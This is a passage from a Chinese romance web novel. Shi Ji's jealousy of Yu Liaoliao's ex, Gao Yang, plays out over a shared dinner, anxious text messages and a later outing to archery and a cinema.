高扬也觉得这个解释有点牵强,却不难听出他话里话外都带着点儿要撇清干系的意思,心里便有了点数,却也没有掉以轻心,熟稔看向喻了了说:“刚才本来就还想再聊会儿,有事给耽误了,既然这么巧又碰上了,要不拼个桌?” 说着又冲对面试探了句:“不介意吧?” 喻了了想说我跟你不是早就聊完了吗,现在还能有什么好聊的,还没转化成口头语言,时霁就一口答应:“当然。” 他倒好水,规矩放在喻了了碗筷的20厘米外,又随和地补了句:“正好这家分量大,两个人也吃不完。” 高扬这才点头:“那就谢谢了。” 他笑了下:“客气。” “?” 两人有来有回,礼貌的像在互相欣赏,只有喻了了满脸问号,还没理解这到底是什么情 况,高扬就顺势坐在她身边,一改往日任性,看她的眼神都温柔了许多:“今天是哪里不舒服?怎么还上医院去了?” “……” 喻了了有点不习惯,但也仅仅只是不习惯。 因为她其实对他也并没有多反感,虽然之前接触的时候他老闹脾气,但她也同样贪图过他的美色,并且最后也是因为自己“移情别恋”才和他宣告终结的。下午有点应激主要是怕时霁误会,但现在看来他不仅没有误会,还表现得挺大气的,所以自己要是反应太大好像也挺奇怪的? 她呆了一会儿,就老实说:“也没什么,就是被蜜蜂蛰了一下。” 说着又指指对面:“他都帮我处理好了。” 高扬抬头,有些意外地看过去:“医生啊?” 喻了了点头:“对啊。” 神态是有点骄傲的,好像在说“厉害吧”,可在此刻的时霁听来,却不乏有些自证与他只是“医患关系”的嫌疑。 他不觉松了口气,像终于卸下一个重担,却不知为何,又隐隐有点不是太爽,神情一时便有些漠然。 高扬观察两人,已经基本可以确定。 喻了了对他有意思,所以才会有这顿饭的出现,但时霁对她没意思,或者说、是还没意识到自己对她有意思,所以才会答应他坐下来。 他暗自点了点头。 还没有完全双箭头,那就一切皆有可能。 饭菜很快上桌。 高扬把一份芋头红烧肉摆到她面前,一副很了解她的样子,笑着说:“我记得你是喜欢吃这个吧?之前每次都要点。” 喻了了过了几天有上顿没下顿的日子,这会儿单是闻味道就馋得很,点头的频率有点快:“对对对!” 时霁轻哂了下。 还挺殷勤。 她手心也有一点伤,这会儿有点拿不太稳筷子,一块芋头怎么也夹不住,时霁正不爽着,故意看她折腾了会儿,才漫不经心拿起筷子。 可还没等伸手,高扬就已经接过她的筷子,帮她把那块芋头夹进碗里,还宠溺的笑了下说:“还想吃什么再跟我说。” “……” “谢谢。” 喻了了还挺开心,毫无所觉盯着自己的碗:“先吃这个就可以。” 时霁更不爽了,咬了下牙,开始有点后悔拼桌。 表演欲这么旺盛,谁还吃得下? 喻了了吃完一块芋头,终于发现他还没动筷,这才眨了眨眼问:“你怎么不吃?” 时霁冷嗤了声,心道你还有空管我呢:“没胃口。” “啊?”她懵懵的:“但刚才不是你说要来这一家的吗?是我点的菜不对吗?” “……” 他噎了一下,想说自己就是突然不想吃这家了,看你要不要起来跟我换一家吧?但见她嘴角囫囵吞咽过后的菜渍,一副饿大发了想赶紧再夹下一块的模样,到底还是没说出口,只意兴阑珊回了句:“还不太饿。” 说完刚要伸手去抽纸巾,高扬就又率先做了这个动作,并熟稔抬手帮她擦着嘴角,语气嗔怪:“怎么还是这么马虎。” 时霁:“……” 喻了了:“…………” 她的瞳孔瞬间放大两倍:“你干嘛!” 高扬啧了一下,也有理有据:“你手不受伤了嘛,我都看到了,不得照顾一下?” 说着又转头,十分好心地劝对面:“你不太饿也吃点吧,都这会儿了,再不吃晚上该饿了,你们医生应该也不怎么吃夜宵吧?” “……”喻了了成功被偏移重心,胡乱扒拉了两下嘴角,也看向对面,找补并关心地补充:“要是想吃别的也可以再点!” 时霁:“。” 茶艺挺到家啊,看都看饱了还用吃吗? 他气笑了似的,一副不配合一下都对不起他卖力演出的样子,捧场地夹了筷青菜,并相当平静地说:“不、用!” “……” 喻了了莫名就有种坐在风暴中心的感觉,还没想好该怎么处理,高扬就又笑着看了过来:“再来一块?” “不用!”她当即睁大眼睛,受伤的手瞬间好转,立刻端着饭碗靠近盘子,用勺子捞出满满一碗说:“我自己来!” …… 喻了了也是没想到,一顿饭居然还能吃出汗流浃背、小命不保的感觉,可等她终于放下碗筷,好不容易能喘口气时,高扬的表演却还没结束。 她前脚刚迈出餐厅,他后脚便问:“现在是准备回家吗?” 喻了了毫不犹豫:“对啊!” 不然还要留在这里继续承受你的加害吗! “那我送你?”他又说。 “不用!”她果断拒绝:“我有手有叫脚,干嘛要让你送!” “顺路。”他一脸好笑,又很随意地说:“别多想,我正好有事要过去找王姨而已。” “……” 喻了了还是不想答应,虽然他们之间的确没有什么,时霁也没有表现出对他有多介意,甚至在一开始被提出拼桌的时候,他还挺热情的招呼人家坐下,好像能多个人还挺开心的似的,但她还是觉得应该要保持一点距离比较好。 可人家都说了是顺路,她又不想反应太大,搞得好像心里有鬼一样。 就这么一会儿的犹豫,在时霁看来,就跟她要回心转意了也差不了多少。 行。 他也满无所谓,心想这不挺好,他两要是双向奔赴,自己以后不就可以彻底清静?既不用处理一天到晚响不停的微信,也不用再担心东窗事发之后惨遭住院了。 高扬看出她的顾虑,便又转向另一边,玩笑似的说:“真的只是顺路,你应该、不会生气吧?” 时霁冷笑了下,一副跟我有什么关系的样子,反问:“我生什么气?”- “喻了了,你不行啊。” “?” 高扬笑着瞥向副驾,直言不讳地问:“你这突然觉醒打扮成这样,就是为了追他吧?” 虽然是这样没错,但喻了了总感觉他没安好心,立刻就双手抱臂,摆好了脸色说:“管那么多干嘛!” 他耸了耸肩,好心道:“就是想提醒你一下,人家好像完全无动于衷呢。” 她拧了下眉,有点生气:“你乱说!” “我可没乱说。”他一副军师模样,站在她的角度分析:“你自己想啊,他要是真的对你有意思,又怎么会在跟你约会的时候允许有第三个人出现?” “……” “而且你不觉得我提出拼桌的时候,他整个人都好像松了口气吗?就像落在手里的烫手山芋终于可以抛出去一样,毫不犹豫就答应了!” “……” 他把心机说成帮助,倏然就转换了角色,从敌人变成盟友:“还是就是最后,我故意问他送你回家他会不会生气时,你见他有什么情绪波动了吗?” “……” 一通话下来,喻了了不仅松了防备,甚至还有点溃败。 她当然知道时霁并没有喜欢上自己,而且自己也才开始追他没多久,就算他对自己还没有感觉也很正常,但就在她一头热的往前冒进时,突然被这么兜头泼下一大盆冷水,就还是不免会有点难过。 因为她其实也感觉到了,刚才的他是真的连一丁点反应都没有。 可自己却真的已经很努力了。 喻了了丧着脸。 感觉悲哀的同时,也开始对高扬有了一点信任:“那怎么办?” 他嘶了一声,好像真的在跟她共情:“这能怎么办啊。” “男人不喜欢你就是真的是不喜欢啊,又不像你们女人,稍微付出点真情就会被感动。” 喻了了觉得这话不太对,女人又不是什么垃圾桶,光有真情就行了,就比如自己现在已经对他不感冒了,所以就 算他突然跪下来给自己磕头,她也是绝对不会认这个逆子的! 但她知道这话不能说,因为感觉他好像还是有办法的。 果然没过一会儿,高扬自己就迂回着说:“但也不是完全不行。” 喻了了看着他:“什么?” 他耸了下肩,也算意有所指:“男人嘛,多少都有点贱骨头。你上赶的时候他爱答不理,等你走了,他却又心里不太平衡。” 她心情不好,不想听他绕口令:“说重点!” “……” 高扬噎了一下,却又极其受虐地觉得她呛自己的样子有点带感,旋即言归正传:“说白了,就是得晾他几天。” “如果他反过来找你了,那可能还有戏,但要是没有,我劝你还是趁早放弃。” “哦,对了。” “就算他来找你,也千万别太上赶着,记得要多拒绝几次。”- 老街的大排档里,周晨正满脸稀奇,炫着小龙虾说:“你今天怎么回事,怎么还突然想起要吃宵夜了?” 还能怎么回事? 当然是因为没吃饱,不然还能是因为在跟谁怄气吗! 时霁沉着脸拆了双筷子,想到什么,突然又摸出手机,对着一桌子的菜拍了一张,拍完感觉不对,又调整角度,连着大排档的招牌一起拍上。 然后调出微信,点进朋友圈,发了条动态:【还不错】 周晨亲眼看着这一系列举动,而后点进朋友圈观摩了下,最后看向他的表情简直匪夷所思:“……你吃了吗就还不错?” 时霁放下手机,抽空瞥他一眼:“吃你的。” 然而十分钟后,也就是距离他们离开餐厅一小时之后,他的消息栏依然空空如也,朋友圈的评论倒是不少,却没有一条是他真正想看的,还害得他白白刷新了几十次,愠火不觉越来越盛。 可以啊喻了了。 这就又转移目标了是吧。 毫不留恋了是吧。 他点点头,一点也不生气的拿起筷子,却半天也不知该从哪落筷,最后看筷子都有点不爽,又嗤地一声丢回桌面。 周晨边吃边看戏:“……你鬼畜呢?” 时霁又捞回手机,半点脾气都没有的回:“闭嘴!” “……” 他眼睛盯着屏幕,另只手不停敲击桌面,心想就两分钟,两分钟后要再不来消息,你自己看着办! 就这么想了五次之后,他才终于有一点生气,但也就只有一点,仅仅只是觉得她到家后也不报个平安这种行为,非常没有礼貌而已! 但作为一个有素质的成年人,就算别人不太礼貌,他好像也应该主动询问一下,毕竟安全第一嘛。 并且刚才那个高什么扬的,看着也完全不像什么好人,喻了了又傻乎乎的,万一被他骗了怎么办? 于是他便本着和谐友爱的社会公德心,打开对话框,礼貌地发出一条:【到家了吗】 想着应该马上就能收到回复,说完也没放下手机,然而又十分钟过去,消息栏依然一片宁静…… 他深吸了口气,本着文明法治的责任心,又发出一条:【还没到?】 还是没有回复。 生气了? 老实说,他其实也不知道自己为什么会答应拼桌,可能就像是遇到危险时下意识的自保一样,虽然挺无耻的…… 好吧,确实就是挺无耻的。 但她这么久还不回消息,是不是也有点太过分了? 他拧了下眉,又看了眼时间,终于发现不对! 两人说好要回同个小区,高扬还宣称是要去找什么人,应该不会突然改变行程,就算他想改,喻了了也没那么容易被带走,所以照理来说,两人应该早就抵达目的地了才对。 那既然喻了了已经到家,就算没想起来要给自己发消息,但他前后都发出去两条了,她没理由突然连自己的消息都不回了吧? 大脑瞬时闪过一个不好的念头,反应过来时,他已经捞起车钥匙出了大排档,一通语音拨了出去。 不知过了多久,嘈杂的拨号音才终于断开,随之传来一声极度虚弱的:“喂……” 时霁打开车门,心跳直接空了一拍:“出什么事了?你现在在哪?!” 那边一阵窸窣,几秒之后,又是一声惊呼:“啊——” “喻了了!” 时霁钻进驾驶座,迅速启动车子:“快说话!你在哪!” 喻了了一脸迷茫的从地上爬起来,拿开手机看了一眼,又放回耳边说:“……我在家啊。” 时霁愣了一下:“一个人?” 她点点头:“嗯。” “那你刚刚喊什么?”他单手搭在方向盘上,车子已经开出一半。 “……” 喻了了吸了下鼻子,有点囧:“不小心……从沙发上掉下去了。” 她这几天连轴转,睡眠严重不足,饱餐过后就开始犯困,刚一进屋就坐到沙发上,本来是想休息一下再去洗漱,没想到会直接睡过去,他问自己在哪的时候她才刚睁眼,脑袋还钝钝的,左右张望了一下,就给滚地上去了…… 她重新躺回沙发,迷迷糊糊地问:“怎么了吗?” “……” 时霁一时说不出话来,也不知是惊魂未定,还是单纯无语到了,半晌才退回车位,不答反问:“到家也不说一声?” “啊?”喻了了懵懵的:“你也没让要说啊。” “我不让你就不说了?”他有点火。 “发消息也不回!”一想到这一个多小时里自己都经历了什么,他就忍不住控诉:“你要气死我?” “没有啊。”喻了了摸了摸耳朵,感觉自己有点无辜,却不知道为什么又有点心虚,好像自己真的做了错事一样,便放软了点声音说:“我睡着了嘛……” “那我跟你道歉。” “对不起,别生气了好不好?” “……” 刚睡醒的声音糯糯的,放软着哄他的时候,还有点撒娇的意味,时霁的耳廓像被烫到了一样,倏然烧红起来。 他整个人都有点僵硬,好半晌才清了下嗓,转移话题说:“药擦了没?” 她默了一下,声音开始飘忽:“等下就擦……” “喻了了!”听出言下之意,他顿时又火起来:“擦下药很麻烦吗?你知道拖下去会是什么后果吗?反复感染很好玩是不是!” 她眨了眨眼,感觉有点讪讪的同时,又隐隐有种直觉,让她忍不住想要试探一下:“……时霁。” 他没好气:“干嘛!” 她抿了下唇,很小心地问:“你是在关心我吗?” “……” 他张了张唇,满脑子想的都是: 不是! 没有! 怎么可能! 你还需要我关心吗? 但最后憋着一口气,脱口而出的却是:“不可以吗!” 第15章 第15章你有本事再说一遍? 话音落下,他才反应过来自己说了什么,当即便拉下脸,沉声道:“挂了!” “……” 喻了了一脸迷茫,对着空气懵了半天,才从一阵巨大的惊喜中回味过来,瞬间就睁大眼睛,半点也不困地打字:【你刚刚说什么?】 时霁:【没什么!】 她咯咯笑起来:【我都听见了!】 【你说的是不可以吗!】 时霁:【听错了】 她很肯定:【才没有!】 【我听力可好了】 【反正我觉得可以】 【你想怎么关心都可以】 “……” 事已至此,他也懒得再否认了,只冷笑了下说:【我关心有什么用】 【有用有用!】 她忙不迭爬起来:【我现在就去擦药,以后到家也都会给你发消息的!】 说完就放下手机,飞快扒拉出包里的药,几分钟后拍了张上过药的照片,跟打卡似的传过去说:【擦好了哦】 很快又吸取教训,举一反三地问:【那我明天擦完也要跟你说吗?】 时霁才刚舒坦了点儿,就又被问得有点不爽,想说你要真有诚意就不会问这种问题,下意识打字“跟我有什么好说的”,都准备发出去了,才想起这个榆木脑袋根本就不会转弯! 只好隐忍地深吸口气,删除重写:【你自己看着办】 好在喻了了也还没榆木到家,很快就蹦蹦跶跶地回了好几句:【要发要发!】 【每次擦完都要给你发!】 【开心到转圈.jpg】 【龇牙咧嘴.jpg】 【捂嘴笑.jpg】 时霁轻哂了声。 憋了一整晚的气这才尽数疏通。 喻了了也美美进了浴室,洗漱完后回到房间,临睡前想起什么,又翻了个身摸出手机,打开某个对话框,认真反馈了下:【我觉得你的建议还是挺有用的】 【虽然我也没有要故意晾着他,但是结果跟你刚才说的差不多】 【不管怎么说,还是要谢谢你】 高扬:【?】- 此后几天,喻了了有事没事就喜欢给时霁发消息,因为有了要“打卡”的流程,每次话题都开启的特别顺畅。 虽然大多都是废话,也没什么营养,但只要没被阻止,她就觉得自己说到天荒地老都没有问题! 时霁虽然也蛮爽的吧,但有时候正忙着,手机突然就跟打着什么节拍似的噔噔噔地响起来,多少还是有点引人注目。 总有人以为是发生了什么急事,在他解锁时跟着凑过来看一眼,发现是七八个表情包之后,脸上就会迅速浮现出六个点…… 这样的情况多了,他也没忍住问:【喻了了】 【啊?】 【你哪来那么多表情包】 【攒的啊】她答得还挺认真。 【……】我是这个意思吗? 见他不说话,她才又咂摸了下,反应过来:【你是觉得我太吵了吗?】 可等她终于搭上线,时霁又突然不想认了:【没】 【噢】 她还是不太确定:【那我还可以继续发吗?】 他啧了一下:【随你】 她便又快乐起来:【那我要发!】 【啊7ki7ki邦邦.jpg】 【摇头晃脑.jpg】 【小脸一红.jpg】 【……】 时霁就这么看着一个接一个往外冒的表情包,感觉好像每一个都能代入到她本人身上,没忍住又偏头笑开。 他放下手机,接着坐了一会儿门诊。 没过多久,表情包的主人就探着脑袋推门进来,笑容满面地把挂号单和病例本往前一推,还没说话,他就瞬时联想到一个表情包,是个歪着脑袋的小人,头顶挂着一行文字:你的小可爱忽然出现.jpg。 他强行绷着脸,嘴角却一时有点难压,喻了了发现后,立刻就扒着桌沿,歪着脑袋凑过去:“见到我这么开心……” “嗤——”想象与现实骤然联动,他猝不及防失笑出声,抖着肩膀极力忍耐。 “?” 喻了了一脸疑惑:“你怎么了……” 却被强忍着打断:“你先别说话!” “……” 她不明所以,却还是听话地等了一会儿,直到感觉他差不多平复下来,才再次出声:“到底怎么了?” “咳——”时霁清了下嗓,又轻缓出了口气,才勉强恢复专业:“没什么,先看看手臂。” “什么嘛。”喻了了撅了下嘴,不太满意他的回答,却还是很听话把袖子撩开,然后伸过去给他看。 时霁翻看一圈,又掰过她的下颌,确认全都恢复良好后说:“好多了,但药还是要继续擦。” 她噢了一声,点点头后又问:“还有头发,差不多也一个月了,是不是也要复查一下?” “嗯。”时霁顺势让她低头,又检查了一圈头皮,最后的结论也差不多:“有在好转,再开点药继续用,还是要尽量早睡,下个月再来复查。” “好。” 她很配合地再次点头,心里却不觉有些神奇,自己明明身体很好,居然还会有一次要检查三个问题的一天。 脱发和切痣就算了,都是她自找的,但现在8月的天,每天都要穿长袖的感觉就显然不是太好,她放下袖子,随口问了句:“还要多久才能好呀?” 语气有点迫不及待,好像之前那个绞尽脑汁要在他面前冒泡的人不是她一样。 时霁录入的动作顿住,偏头瞥她一眼:“怎么,这就不想再见到我了?” “不是不是!”喻了了连忙摆手,想解释自己只是想让手臂好得快点,然后再开发一些别的问题过来找你,又觉得这话好像不是很适合说出来。 最后支吾半天,只找补了句:“那你就当我没问过好了。” 果然选择多了。 态度都不一样了是吧? 时霁轻嗤了声,还是回答:“药好好擦,再几天就好了。” “噢。”喻了了钝钝点头:“好。” 他把最后一点信息录入完,打印好单子后,连带着病例一起递回去:“结算后一楼拿药。” “好。”喻了了接住后站起来:“那我先走啦。” “?” 时霁指节微曲,敲了下桌面,提醒她是不是忘了什么。 喻了了愣了一下,倒也左右看了一圈,回过头的样子也一本正经的:“我东西都带了呀。” “……” 他张了张唇,欲言又止两次,才再次提醒:“我快下班了。” “啊?”她眨了眨眼,还是有点迷茫:“我知道啊,11点半下班,现在还不到11点,下去拿药来得及的。” “……” 时霁噎了半天,莫名其妙又聚了一口气。 最后气笑了似的,身体往后靠去,一脸我其实也不是很情愿,但你要实在想的话也不是不行的表情说:“我意思我都快下班了,你要没什么事的话,想留下来一起吃个饭也行。” “噢。”喻了了恍然大悟,有点开心的同时也很遗憾:“我本来也是这样想的,但我中午还有事欸。” “?” 她摸了摸耳朵,老实说:“高扬说要给他家里换一套防盗门窗,但是他又不太懂,就让我帮忙去看一下。” “……” 时霁神情变了一下:“你又不是卖门窗的,他不懂找你干嘛?” 喻了了解释:“但我是做建筑的呀,平时都会接触到建筑材料,他就是怕会被销售宰嘛,也不清楚什么品牌和样式比较好,才来找我帮忙的。” 她想着反正时霁对他又不介意,而且人家前几天才给自己出谋划策,虽然没有真正用上,但也算是好心,正好她中午有空,去帮个忙也没什么。 时霁恨不能直接敲醒这个榆木脑袋,想说他那是要找你看建材吗!分明就是不安好心好吗! 又感觉以她的榆木程度,敲了估计也不会醒。 喻了了感觉气氛不对,这才迟疑了下:“怎么了?你是不想让我陪他去吗?” 他憋着气,一时嘴快:“你想去就去!跟我有什么关系。” 喻了了顿了顿,还是说:“但你看起来好像有点生气……” “我只是好奇。”他冷笑了下,非常平静地提出质疑:“一个大男人买门窗还要人陪,平时生活能自理吗?” 喻了了挠了挠头,不太确定:“应该可以吧。” 时霁:“…………” 感觉再说下去会被气死,他直接按下叫号系统说:“行了,你走吧。” 走了就再也别回来找我! “噢,好。” “。”- 下午一点。 高扬打着方向盘,把车驶处建材城,又看了眼边上不停划手机的人,状似无意地问:“先带你去吃个饭?” “不用不用。”喻了了头也没抬:“我得赶回去加班了。” “加班也得吃饭啊。”高扬无奈。 “公司有食堂。”喻了了说:“我到楼下随便吃点,十分钟就能结束。” “……” 见他沉默,喻了了以为他还有什么计划,这才抬头看了眼路况说:“你要是有事就去忙,把我放前面地铁站就行。” “……” 前两天高扬提出要她帮忙看门窗,喻了 了答应过后,就直接跟之前合作过的供应商联系好,说今天会带人过来。 她11点从医院出发,12点在建材城与高扬汇和,然后直奔目的地,不到一个小时就洽谈结束,现在13点,从这里回去大概40分钟,刚好能在两点前抵达公司开始加班,还能顺便垫个肚子。 效率高到令人发指。 一点发挥空间都不肯给他留。 高扬叹了口气:“那你明天有空吗?” “有啊。”说起这个,喻了了立马高兴起来,冲他晃了晃手机说:“准备约时霁去游泳。” “……” 高扬匆匆扫了一眼,满屏都是她发出去的消息: 【戳戳.jpg】 【你的小可爱再次出现.jpg】 【明天要不要一起去游泳?】 【包场给你游[狗头]】 【老实巴交.jpg】 【焦灼等待.jpg】 高扬一口气差点没背过去:“不是让你先晾他几天吗!” “晾了啊。”喻了了收回手机,很神气地说:“他中午喊我吃饭我还拒绝了呢。” 高扬指着她的屏幕,一脸匪夷所思:“你管这叫晾?” “昂~”喻了了很肯定地说:“这已经很少了,我之前都发十几条。”说着又笑起来:“他都没嫌我烦,让我随便发。” “……” 高扬差点心肌梗塞,想想还是不甘心:“不是,那我之前怎么就没这待遇啊?” 喻了了笑容顿住,很鄙夷地瞥他一眼,一副你现在说这些就没意思了的表情,却还是回答他说:“我发了好吧!” “是你嫌我烦,说我人又出不来,还老发这些没营养的东西干嘛。” 高扬噎住:“……” 还真的是。 喻了了哼了一声,不跟他一般见识,回头的时候手机刚好响起来。 时霁:【不去】 【遗憾捂脸.jpg】 【为什么不去啊】 【我们不是都这么熟了吗】 时霁冷笑了声:【有熟到可以让你收集裸。照的程度?】 也不想想自己现在都在跟什么野男人见面,怕是还没分开吧就又来找自己了,这么朝秦暮楚、见异思迁,忙得过来吗? 其实她觉得应该已经到了,但听他的意思又好像还没有,纠结半晌,只好忍痛退让:【那去射箭?上次赢的卡还没用呢】 【要不然去攀岩也可以】 【或者看电影?】 她每周就这么一天完整的假期,上周因为他生气、自己又出差都没约上,本来感觉这几天气氛好了很多,约他应该没问题了,但他却还是说:【不去】 “啊……” 喻了了遗憾都写在脸上了,高扬都不用看就知道她是被拒绝了,心情不由好了一些:“都跟你说了吧,得晾着他。” “那你自己看看,是不是又吃瘪了?” 她闷闷不乐地噘着嘴,求助似的看过去:“那怎么办?” “继续晾啊。”高扬一副天助我也的表情,笑着说:“游泳有什么好玩的,不如跟我去酒吧,还能学学怎么谈恋爱。” 喻了了以前也去过酒吧,体感就还挺乌烟瘴气的,也不知道到底好玩在哪里,但里面的人又好像确实都挺会谈恋爱的,起码是比她这种一天到晚只会问人要不要出去玩的有办法多了。 想想便有些心动:“有用吗?” “当然。”见人快要上钩,高扬立即加码:“到时候给你安排一桌,手把手教你怎么玩,说不定还没等你玩完,他就自己回来找你了呢?” 喻了了感觉他说得有点夸张,但一想到时霁有可能反过来找自己,就还是忍不住有点上头。 然后一边在这疯狂心动,一边又舍不下明天去找他,捧着手机纠结半天,最后还是决定再争取一把:【真的不去吗?】 时霁半天才等到她再说话,想也知道是被哪个野男人绊住了,顿时更加不爽,坚决到不能再坚决地说:【不、去!】 喻了了见是真的没希望了,终于叹了口气,认命道:【好吧】 【那我明天先跟高扬出去,下周再来找你】 “?” 时霁:【你有本事再说一遍?】 第16章 第16章快点亲! 隔天下午。 喻了了换了身及膝的吊带连衣裙,又披了件浅蓝色的防晒衣遮住伤口后,就提着全套游泳装备美美的出门了! 出小区打了辆车,一路来到恒际酒店楼下,正要绕过景观区进入大堂,边上一辆黑色轿车的喇叭就忽然响了两下。 她回头看去,车窗顺势降下,随之遇见一张锋利流畅的侧脸,挺直的鼻梁上架着一副无框眼镜,夏日烈阳洒出的淡金光点,清凌凌地落在眉眼之间。 一眼望过去的时候,好像整个人都在发光。 喻了了愣了一会儿,才不觉扬起个笑,小跑过去打开副驾,一溜烟钻进去,抱着装备包正对着他说:“你是在等我吗?” 时霁随手升回车窗,偏头瞥她一眼,神情明显不是太爽:“不然?” “嘿嘿。”喻了了的快乐却很简单。 本来以为今天见面无望,结果他不知怎么突然就又答应了,这会儿不仅实打实的见上面了,等下还能亲眼看到他“游泳”! 因为这事,她昨晚都有点睡不太着,现在更是满脸迫不及待:“怎么不去停车?” “还没到。”时霁抬了抬下巴,示意她系好安全带。 “啊?”喻了了愣了愣,回头看了眼近在咫尺的酒店:“不是去恒际楼上游泳吗?” 时霁嗤了一声,旋即扯过她怀里的装备包,毫不留情丢到后座:“想得挺美。” 还能这么轻易就让你得逞? 喻了了伸手去够了一下,没来得及,身体就半趴在椅背上,不明所以地看他:“可是我们不都说好了吗?” “谁跟你说好的。”他根本不认。 “你啊!”喻了了提着口气,很确定地说:“你明明答应我说可以出来,然后两点在恒际楼下碰面的啊。” 他扬了扬眉:“我说在这碰面,说要去游泳了?” “……”那倒没有。 喻了了泄了点气,又不太甘心:“但就是会让人这么以为啊!” 时霁冷笑了下:“那怪谁?” 不让你这么以为,等下又被什么野男人骗出去,到时候被人卖了都不知道,居然还敢在这里发脾气。 他一副好心被当成驴肝肺的模样,脾气也不小:“怎么,不去游泳就没必要见了是吧?” “……那我倒也不是这个意思。” 喻了了一秒老实,讪讪靠回椅背,有点遗憾地问:“那我们现在去哪里啊?” “射箭。”时霁这才满意了点。 “啊……”喻了了却又不满意了。 “不想去?”他扬了下眉。 “也不是不想……”她摸摸耳朵。 主要她的预期是去游泳,惦记一整天了都,所以现在不管是要去干什么,只要尺度不如这个,好像就都有点差强人意。 “行。”时霁点点头,也不勉强:“那现在送你回去。” “想!”喻了了睁大眼睛,飞快扯过安全带,咔哒一声扣上,语气是前所未有的迫切:“超级无敌巨巨巨想!” “就去。射箭!必须射箭!” “嗤——” 时霁这才舒坦了些,一脚油门下去,恒际招牌瞬间消失无踪。 …… 半小时后,车子驶入远东大厦,两人并行来到16楼的射箭馆,和前台报备了下上回比赛赢了张年卡的事后,才被告知会员信息没填,系统还没录入。 随后便被安排到角落的会客区,分别坐下开始填写表格。 喻了了刚写完姓名和出生日期,想到什么,就探着脑袋凑过去,着眼一看,他生日那栏填的是:11.6。 她不由抬眸,脱口而出:“你居然比我小?” 时霁默了一下:“怎么?” “也……也没什么。”喻了了忽然就有点卡壳,因为的确就是没有预设过这种情况,虽然也就小了几个月,但体感就是从 同龄人变成了弟弟,以至于看他的眼神有点变化:“就、有点意外。” 时霁敏锐的察觉到她好像隐隐有点不太能接受这个事实,随即揶揄问道:“高扬就比你大?” “对呀。”喻了了毫无所觉地点点头:“比我大两岁。” 可以。 现在就看他哪哪都不满意了是吧? 他沉着脸,放下笔说:“回去吧。” “?” “找比你大两岁的人玩去。” “……” 喻了了顿感不明觉厉,赶紧把被丢在桌上的笔塞回他手里,着急慌忙补救:“我错了我错了!” “这有什么好意外的?我一点都不意外啊!比我小六个月又怎么样,就算是小六岁我也只想跟你玩!” “快写快写!写完我们就进去玩!” “呵。”时霁扯了下嘴角,眼神凉凉。 虽然配合着把表格填完了,却明显还是记仇了,从进入内场开始就很冷淡,随便挑了个箭道就自己站在那里练习,话也不说,人也不看。 喻了了为了调动气氛,硬拉着人跟自己比了几轮。 故意输了一轮,他半点反应没有,又强势赢下一轮,他也完全不生气,整个人就是兴致缺缺,跟完成任务似的,感觉太阳差不多快要下山,就也放下弓箭准备走人。 喻了了小脸都快皱成苦瓜了,出了大楼,也愣是没敢把人放回车里,生怕他一脚油门就直接把自己送回去,而他却还在生气。 只能连哄带骗把人忽悠到体育楼边上的一家饭店,一个劲地安利说这家的手工面很好吃,企图用美食转换他的心情。 好不容易等人吃了一口,满脸期待地问他:“味道怎么样?” 时霁抬眸,面不改色:“一般。” “。” 喻了了眉眼耷拉下来,一副黔驴技穷的模样,感觉他要是再不好,自己可能就真得去学习一些独门秘笈了。 时霁不知她又在琢磨些什么,只是看她一脸绞尽脑汁的样子就莫名有点好笑,可能也是作得差不多了,他拎起勺子,又喝了一口汤,刚感觉到似的:“好像又还行。” 喻了了眼睛一亮,立刻又抬起头来:“是吧!” “再吃几口就会感觉越吃越好吃!” 他扬了扬眉,便在她期待的目光中又吃一口,听到她迫不及待地问:“有没有?” “嗯。” 他敛眸,唇角不自觉掀起:“有。”- 饭店出来,天色也已经彻底压下去了,喻了了却还是不想回家。 今天虽然出来了大半天,但她几乎全程都在哄人,都没好好感受约会的过程,期待了一天的游泳也没去成,要是就这么回去,她肯定是会悔恨终——悔恨一整个星期的! 她坐进副驾,正琢磨着该怎么开口才不容易被拒绝,时霁就问了句:“再去看个电影?” “啊?”她愣了愣。 “不去?” “去去去!” 主要她最近实在是被拒绝太多了,以至于随便提个要求都感觉会再次被拒,却没想到会突然收到邀请! 她顿时惊喜起来,迅速拉过安全带,扣上之后双手仍然抓着绑带,小腿跟着轻轻晃动几下,好心情全都通过肢体语言表现出来。 时霁暗暗收回目光。 有点被感染到似的,一贯温淡的眼底,不知何时也蓄起笑意。 …… 暑期末已经没有什么热门影片,刨掉几个现实题材和动画片的选项,就只剩下两部英文片和情感有点关系。 喻了了想着反正也就看个氛围,也没有必要非得听懂英文,就选定了其中一部,要了时间最近的场次,又点了桶爆米花和两瓶水,就高高兴兴检票入场。 电影已经开始。 两人挨着边来到自己的座位,时霁帮她把水放好,就回身坐直,目视前方。 喻了了见状,也跟着坐直了些,想着多少也得看进去一点。 然而密闭的空间里,一切感知都在放大,她手里抱着爆米花,视线看着是落在台前,余光却总不经意地往边上瞄。 他好像有点偏爱浅色系,今天搭的是白加灰的一身,再有无框眼镜的加成,看着其实是斯文偏休闲那挂的,但袖口下裸露的小臂,仅仅只是搭在那里,就能看出勤于锻炼的痕迹,肌肉线条匀称的刚刚好,没有健身房里举出来的那种死板感,应该是长期游泳和射箭练成的。 再往下看,腕骨下的指节也是清秀分明,一看就是做精细活的,虽然这么说好像有点变态,但她只是想了一下这双手灵活工作的样子,就控制不住地有点…… “喻了了。” 她正瞄得入迷,冷不丁被喊了一声,下意识回头时,视线都是从那双手开始慢慢往上游弋的:“……啊?” 时霁眯缝着眼:“刚前面都演了什么?” “……” 喻了了懵了,心想这怎么还带抽查的,神情讪讪地说:“应该……是电影吧?” 时霁睨她两秒:“认真点儿。” “……哦。” 她耷拉着眉眼回正身体,双目无神地盯着幕布,本来是要认真“学习”的,然而一旦要开始集中注意力,学渣属性就逐渐暴露无遗。 昏暗的空间里,似曾相识的英文单词,催眠般的人物声调,以及早就不知走向的故事节奏…… 她眼皮打架,越看越想睡,没办法只能在隐蔽处掐自己大腿,时不时地调整坐姿,睁大眼睛,开始喝水…… 挣扎半天还是困得不行,终于受不了地又侧过身去:“时霁。” “嗯?” 她决定不懂就问:“刚刚前面都演了什么啊?” “……” 时霁不知是沉浸在故事里,还是没想到她会突然提问,张了张嘴,半晌却只卡顿地反问:“又没认真吗?” “认真了!”喻了了没发现什么异常,思维也很学渣:“就是有点没太听懂,但你要是跟我讲下,我说不定就理解了呢。” “……” 时霁沉默了会儿,选择转移话题:“你平时喜欢看电影?” “啊?”喻了了被问得有点莫名,却还是回答:“还好吧,其实看得比较少。” 说着还不忘表白:“但跟你一起就都喜欢!” 